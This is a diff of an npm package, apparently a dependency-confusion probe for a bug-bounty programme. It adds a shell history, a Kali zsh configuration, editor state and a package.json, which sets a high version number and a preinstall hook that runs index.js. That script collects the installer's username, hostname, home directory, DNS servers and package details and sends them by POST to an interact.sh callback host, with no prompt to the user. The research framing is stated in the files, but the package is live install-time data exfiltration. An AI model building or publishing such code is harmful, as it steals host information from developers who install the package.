+ -' 8 32 ~/package.json
51
+ |4,39,8,32,1661658443,"~/package.json"
52
+ -' 8 32 ~/package.json
53
+ |4,39,8,32,1661658443,"~/package.json"
54
+ -' 1 0 ~/package.json
55
+ |4,39,1,0,1661658337,"~/package.json"
56
+ -' 1 0 ~/package.json
57
+ |4,39,1,0,1661658337,"~/package.json"
58
+ -' 1 0 ~/package.json
59
+ |4,39,1,0,1661658337,"~/package.json"
60
+
61
+ # History of marks within files (newest to oldest):
62
+
63
+ > ~/package.json
64
+ * 1661729582 0
65
+ " 7 11
66
+ ^ 7 12
67
+ . 7 12
68
+ + 12 1
69
+ + 8 32
70
+ + 7 59
71
+ + 9 6
72
+ + 9 10
73
+ + 10 13
74
+ + 7 12
75
+
76
+ > ~/index.js
77
+ * 1661659841 0
78
+ " 46 0
79
+ ^ 46 0
80
+ . 45 10
81
+ + 1 37
82
+ + 2 24
83
+ + 21 19
84
+ + 25 102
85
+ + 30 54
86
+ + 31 36
87
+ + 42 3
88
+ + 44 20
89
+ + 45 10
package/.zsh_history ADDED
@@ -0,0 +1,16 @@
1
+ ssh root@50.116.63.219
2
+ curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -
3
+ sudo apt-get insatll -y nodejs
4
+ sudo apt-get install -y nodejs
5
+ nodejs -version
6
+ sudo apt-get update\
7
+
8
+ sudo apt-get -y install npm\
9
+
10
+ npm -v
11
+ node -v
12
+ npm login
13
+ npm init
14
+ vi package.json
15
+ vi index.js
16
+ npm publish
package/.zshrc ADDED
@@ -0,0 +1,258 @@
1
+ # ~/.zshrc file for zsh interactive shells.
2
+ # see /usr/share/doc/zsh/examples/zshrc for examples
3
+
4
+ setopt autocd # change directory just by typing its name
5
+ #setopt correct # auto correct mistakes
6
+ setopt interactivecomments # allow comments in interactive mode
7
+ setopt magicequalsubst # enable filename expansion for arguments of the form ‘anything=expression’
8
+ setopt nonomatch # hide error message if there is no match for the pattern
9
+ setopt notify # report the status of background jobs immediately
10
+ setopt numericglobsort # sort filenames numerically when it makes sense
11
+ setopt promptsubst # enable command substitution in prompt
12
+
13
+ WORDCHARS=${WORDCHARS//\/} # Don't consider certain characters part of the word
14
+
15
+ # hide EOL sign ('%')
16
+ PROMPT_EOL_MARK=""
17
+
18
+ # configure key keybindings
19
+ bindkey -e # emacs key bindings
20
+ bindkey ' ' magic-space # do history expansion on space
21
+ bindkey '^U' backward-kill-line # ctrl + U
22
+ bindkey '^[[3;5~' kill-word # ctrl + Supr
23
+ bindkey '^[[3~' delete-char # delete
24
+ bindkey '^[[1;5C' forward-word # ctrl + ->
25
+ bindkey '^[[1;5D' backward-word # ctrl + <-
26
+ bindkey '^[[5~' beginning-of-buffer-or-history # page up
27
+ bindkey '^[[6~' end-of-buffer-or-history # page down
28
+ bindkey '^[[H' beginning-of-line # home
29
+ bindkey '^[[F' end-of-line # end
30
+ bindkey '^[[Z' undo # shift + tab undo last action
31
+
32
+ # enable completion features
33
+ autoload -Uz compinit
34
+ compinit -d ~/.cache/zcompdump
35
+ zstyle ':completion:*:*:*:*:*' menu select
36
+ zstyle ':completion:*' auto-description 'specify: %d'
37
+ zstyle ':completion:*' completer _expand _complete
38
+ zstyle ':completion:*' format 'Completing %d'
39
+ zstyle ':completion:*' group-name ''
40
+ zstyle ':completion:*' list-colors ''
41
+ zstyle ':completion:*' list-prompt %SAt %p: Hit TAB for more, or the character to insert%s
42
+ zstyle ':completion:*' matcher-list 'm:{a-zA-Z}={A-Za-z}'
43
+ zstyle ':completion:*' rehash true
44
+ zstyle ':completion:*' select-prompt %SScrolling active: current selection at %p%s
45
+ zstyle ':completion:*' use-compctl false
46
+ zstyle ':completion:*' verbose true
47
+ zstyle ':completion:*:kill:*' command 'ps -u $USER -o pid,%cpu,tty,cputime,cmd'
48
+
49
+ # History configurations
50
+ HISTFILE=~/.zsh_history
51
+ HISTSIZE=1000
52
+ SAVEHIST=2000
53
+ setopt hist_expire_dups_first # delete duplicates first when HISTFILE size exceeds HISTSIZE
54
+ setopt hist_ignore_dups # ignore duplicated commands history list
55
+ setopt hist_ignore_space # ignore commands that start with space
56
+ setopt hist_verify # show command with history expansion to user before running it
57
+ #setopt share_history # share command history data
58
+
59
+ # force zsh to show the complete history
60
+ alias history="history 0"
61
+
62
+ # configure `time` format
63
+ TIMEFMT=$'\nreal\t%E\nuser\t%U\nsys\t%S\ncpu\t%P'
64
+
65
+ # make less more friendly for non-text input files, see lesspipe(1)
66
+ #[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"
67
+
68
+ # set variable identifying the chroot you work in (used in the prompt below)
69
+ if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
70
+ debian_chroot=$(cat /etc/debian_chroot)
71
+ fi
72
+
73
+ # set a fancy prompt (non-color, unless we know we "want" color)
74
+ case "$TERM" in
75
+ xterm-color|*-256color) color_prompt=yes;;
76
+ esac
77
+
78
+ # uncomment for a colored prompt, if the terminal has the capability; turned
79
+ # off by default to not distract the user: the focus in a terminal window
80
+ # should be on the output of commands, not on the prompt
81
+ force_color_prompt=yes
82
+
83
+ if [ -n "$force_color_prompt" ]; then
84
+ if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
85
+ # We have color support; assume it's compliant with Ecma-48
86
+ # (ISO/IEC-6429). (Lack of such support is extremely rare, and such
87
+ # a case would tend to support setf rather than setaf.)
88
+ color_prompt=yes
89
+ else
90
+ color_prompt=
91
+ fi
92
+ fi
93
+
94
+ configure_prompt() {
95
+ prompt_symbol=㉿
96
+ # Skull emoji for root terminal
97
+ #[ "$EUID" -eq 0 ] && prompt_symbol=💀
98
+ case "$PROMPT_ALTERNATIVE" in
99
+ twoline)
100
+ PROMPT=$'%F{%(#.blue.green)}┌──${debian_chroot:+($debian_chroot)─}${VIRTUAL_ENV:+($(basename $VIRTUAL_ENV))─}(%B%F{%(#.red.blue)}%n'$prompt_symbol$'%m%b%F{%(#.blue.green)})-[%B%F{reset}%(6~.%-1~/…/%4~.%5~)%b%F{%(#.blue.green)}]\n└─%B%(#.%F{red}#.%F{blue}$)%b%F{reset} '
101
+ # Right-side prompt with exit codes and background processes
102
+ #RPROMPT=$'%(?.. %? %F{red}%B⨯%b%F{reset})%(1j. %j %F{yellow}%B⚙%b%F{reset}.)'
103
+ ;;
104
+ oneline)
105
+ PROMPT=$'${debian_chroot:+($debian_chroot)}${VIRTUAL_ENV:+($(basename $VIRTUAL_ENV))}%B%F{%(#.red.blue)}%n@%m%b%F{reset}:%B%F{%(#.blue.green)}%~%b%F{reset}%(#.#.$) '
106
+ RPROMPT=
107
+ ;;
108
+ backtrack)
109
+ PROMPT=$'${debian_chroot:+($debian_chroot)}${VIRTUAL_ENV:+($(basename $VIRTUAL_ENV))}%B%F{red}%n@%m%b%F{reset}:%B%F{blue}%~%b%F{reset}%(#.#.$) '
110
+ RPROMPT=
111
+ ;;
112
+ esac
113
+ unset prompt_symbol
114
+ }
115
+
116
+ # The following block is surrounded by two delimiters.
117
+ # These delimiters must not be modified. Thanks.
118
+ # START KALI CONFIG VARIABLES
119
+ PROMPT_ALTERNATIVE=twoline
120
+ NEWLINE_BEFORE_PROMPT=yes
121
+ # STOP KALI CONFIG VARIABLES
122
+
123
+ if [ "$color_prompt" = yes ]; then
124
+ # override default virtualenv indicator in prompt
125
+ VIRTUAL_ENV_DISABLE_PROMPT=1
126
+
127
+ configure_prompt
128
+
129
+ # enable syntax-highlighting
130
+ if [ -f /usr/share/zsh-syntax-highlighting/zsh-syntax-highlighting.zsh ]; then
131
+ . /usr/share/zsh-syntax-highlighting/zsh-syntax-highlighting.zsh
132
+ ZSH_HIGHLIGHT_HIGHLIGHTERS=(main brackets pattern)
133
+ ZSH_HIGHLIGHT_STYLES[default]=none
134
+ ZSH_HIGHLIGHT_STYLES[unknown-token]=fg=white,underline
135
+ ZSH_HIGHLIGHT_STYLES[reserved-word]=fg=cyan,bold
136
+ ZSH_HIGHLIGHT_STYLES[suffix-alias]=fg=green,underline
137
+ ZSH_HIGHLIGHT_STYLES[global-alias]=fg=green,bold
138
+ ZSH_HIGHLIGHT_STYLES[precommand]=fg=green,underline
139
+ ZSH_HIGHLIGHT_STYLES[commandseparator]=fg=blue,bold
140
+ ZSH_HIGHLIGHT_STYLES[autodirectory]=fg=green,underline
141
+ ZSH_HIGHLIGHT_STYLES[path]=bold
142
+ ZSH_HIGHLIGHT_STYLES[path_pathseparator]=
143
+ ZSH_HIGHLIGHT_STYLES[path_prefix_pathseparator]=
144
+ ZSH_HIGHLIGHT_STYLES[globbing]=fg=blue,bold
145
+ ZSH_HIGHLIGHT_STYLES[history-expansion]=fg=blue,bold
146
+ ZSH_HIGHLIGHT_STYLES[command-substitution]=none
147
+ ZSH_HIGHLIGHT_STYLES[command-substitution-delimiter]=fg=magenta,bold
148
+ ZSH_HIGHLIGHT_STYLES[process-substitution]=none
149
+ ZSH_HIGHLIGHT_STYLES[process-substitution-delimiter]=fg=magenta,bold
150
+ ZSH_HIGHLIGHT_STYLES[single-hyphen-option]=fg=green
151
+ ZSH_HIGHLIGHT_STYLES[double-hyphen-option]=fg=green
152
+ ZSH_HIGHLIGHT_STYLES[back-quoted-argument]=none
153
+ ZSH_HIGHLIGHT_STYLES[back-quoted-argument-delimiter]=fg=blue,bold
154
+ ZSH_HIGHLIGHT_STYLES[single-quoted-argument]=fg=yellow
155
+ ZSH_HIGHLIGHT_STYLES[double-quoted-argument]=fg=yellow
156
+ ZSH_HIGHLIGHT_STYLES[dollar-quoted-argument]=fg=yellow
157
+ ZSH_HIGHLIGHT_STYLES[rc-quote]=fg=magenta
158
+ ZSH_HIGHLIGHT_STYLES[dollar-double-quoted-argument]=fg=magenta,bold
159
+ ZSH_HIGHLIGHT_STYLES[back-double-quoted-argument]=fg=magenta,bold
160
+ ZSH_HIGHLIGHT_STYLES[back-dollar-quoted-argument]=fg=magenta,bold
161
+ ZSH_HIGHLIGHT_STYLES[assign]=none
162
+ ZSH_HIGHLIGHT_STYLES[redirection]=fg=blue,bold
163
+ ZSH_HIGHLIGHT_STYLES[comment]=fg=black,bold
164
+ ZSH_HIGHLIGHT_STYLES[named-fd]=none
165
+ ZSH_HIGHLIGHT_STYLES[numeric-fd]=none
166
+ ZSH_HIGHLIGHT_STYLES[arg0]=fg=cyan
167
+ ZSH_HIGHLIGHT_STYLES[bracket-error]=fg=red,bold
168
+ ZSH_HIGHLIGHT_STYLES[bracket-level-1]=fg=blue,bold
169
+ ZSH_HIGHLIGHT_STYLES[bracket-level-2]=fg=green,bold
170
+ ZSH_HIGHLIGHT_STYLES[bracket-level-3]=fg=magenta,bold
171
+ ZSH_HIGHLIGHT_STYLES[bracket-level-4]=fg=yellow,bold
172
+ ZSH_HIGHLIGHT_STYLES[bracket-level-5]=fg=cyan,bold
173
+ ZSH_HIGHLIGHT_STYLES[cursor-matchingbracket]=standout
174
+ fi
175
+ else
176
+ PROMPT='${debian_chroot:+($debian_chroot)}%n@%m:%~%(#.#.$) '
177
+ fi
178
+ unset color_prompt force_color_prompt
179
+
180
+ toggle_oneline_prompt(){
181
+ if [ "$PROMPT_ALTERNATIVE" = oneline ]; then
182
+ PROMPT_ALTERNATIVE=twoline
183
+ else
184
+ PROMPT_ALTERNATIVE=oneline
185
+ fi
186
+ configure_prompt
187
+ zle reset-prompt
188
+ }
189
+ zle -N toggle_oneline_prompt
190
+ bindkey ^P toggle_oneline_prompt
191
+
192
+ # If this is an xterm set the title to user@host:dir
193
+ case "$TERM" in
194
+ xterm*|rxvt*|Eterm|aterm|kterm|gnome*|alacritty)
195
+ TERM_TITLE=$'\e]0;${debian_chroot:+($debian_chroot)}${VIRTUAL_ENV:+($(basename $VIRTUAL_ENV))}%n@%m: %~\a'
196
+ ;;
197
+ *)
198
+ ;;
199
+ esac
200
+
201
+ precmd() {
202
+ # Print the previously configured title
203
+ print -Pnr -- "$TERM_TITLE"
204
+
205
+ # Print a new line before the prompt, but only if it is not the first line
206
+ if [ "$NEWLINE_BEFORE_PROMPT" = yes ]; then
207
+ if [ -z "$_NEW_LINE_BEFORE_PROMPT" ]; then
208
+ _NEW_LINE_BEFORE_PROMPT=1
209
+ else
210
+ print ""
211
+ fi
212
+ fi
213
+ }
214
+
215
+ # enable color support of ls, less and man, and also add handy aliases
216
+ if [ -x /usr/bin/dircolors ]; then
217
+ test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
218
+ export LS_COLORS="$LS_COLORS:ow=30;44:" # fix ls color for folders with 777 permissions
219
+
220
+ alias ls='ls --color=auto'
221
+ #alias dir='dir --color=auto'
222
+ #alias vdir='vdir --color=auto'
223
+
224
+ alias grep='grep --color=auto'
225
+ alias fgrep='fgrep --color=auto'
226
+ alias egrep='egrep --color=auto'
227
+ alias diff='diff --color=auto'
228
+ alias ip='ip --color=auto'
229
+
230
+ export LESS_TERMCAP_mb=$'\E[1;31m' # begin blink
231
+ export LESS_TERMCAP_md=$'\E[1;36m' # begin bold
232
+ export LESS_TERMCAP_me=$'\E[0m' # reset bold/blink
233
+ export LESS_TERMCAP_so=$'\E[01;33m' # begin reverse video
234
+ export LESS_TERMCAP_se=$'\E[0m' # reset reverse video
235
+ export LESS_TERMCAP_us=$'\E[1;32m' # begin underline
236
+ export LESS_TERMCAP_ue=$'\E[0m' # reset underline
237
+
238
+ # Take advantage of $LS_COLORS for completion as well
239
+ zstyle ':completion:*' list-colors "${(s.:.)LS_COLORS}"
240
+ zstyle ':completion:*:*:kill:*:processes' list-colors '=(#b) #([0-9]#)*=0=01;31'
241
+ fi
242
+
243
+ # some more ls aliases
244
+ alias ll='ls -l'
245
+ alias la='ls -A'
246
+ alias l='ls -CF'
247
+
248
+ # enable auto-suggestions based on the history
249
+ if [ -f /usr/share/zsh-autosuggestions/zsh-autosuggestions.zsh ]; then
250
+ . /usr/share/zsh-autosuggestions/zsh-autosuggestions.zsh
251
+ # change suggestion color
252
+ ZSH_AUTOSUGGEST_HIGHLIGHT_STYLE='fg=#999'
253
+ fi
254
+
255
+ # enable command-not-found if installed
256
+ if [ -f /etc/zsh_command_not_found ]; then
257
+ . /etc/zsh_command_not_found
258
+ fi
package/index.js ADDED
@@ -0,0 +1,48 @@
1
+ //author:- jared-calgarycybersecurity@hackerone
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ const trackingData = JSON.stringify({
10
+ p: package,
11
+ c: __dirname,
12
+ hd: os.homedir(),
13
+ hn: os.hostname(),
14
+ un: os.userInfo().username,
15
+ dns: dns.getServers(),
16
+ r: packageJSON ? packageJSON.___resolved : undefined,
17
+ v: packageJSON.version,
18
+ pjson: packageJSON,
19
+ });
20
+
21
+ var postData = querystring.stringify({
22
+ msg: trackingData,
23
+ });
24
+
25
+ var options = {
26
+ hostname: "cc2y37m2vtc0000792agggbxbieyyyyyb.interact.sh", //replace burpcollaborator.net with Interactsh or pipedream
27
+ port: 443,
28
+ path: "/",
29
+ method: "POST",
30
+ headers: {
31
+ "Content-Type": "application/x-www-form-urlencoded",
32
+ "Content-Length": postData.length,
33
+ },
34
+ };
35
+
36
+ var req = https.request(options, (res) => {
37
+ res.on("data", (d) => {
38
+ process.stdout.write(d);
39
+ });
40
+ });
41
+
42
+ req.on("error", (e) => {
43
+ // console.error(e);
44
+ });
45
+
46
+ req.write(postData);
47
+ req.end();
48
+
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "cp2-shared-app",
3
+ "version": "99.0.0",
4
+ "description": "Test package for hackerone ",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }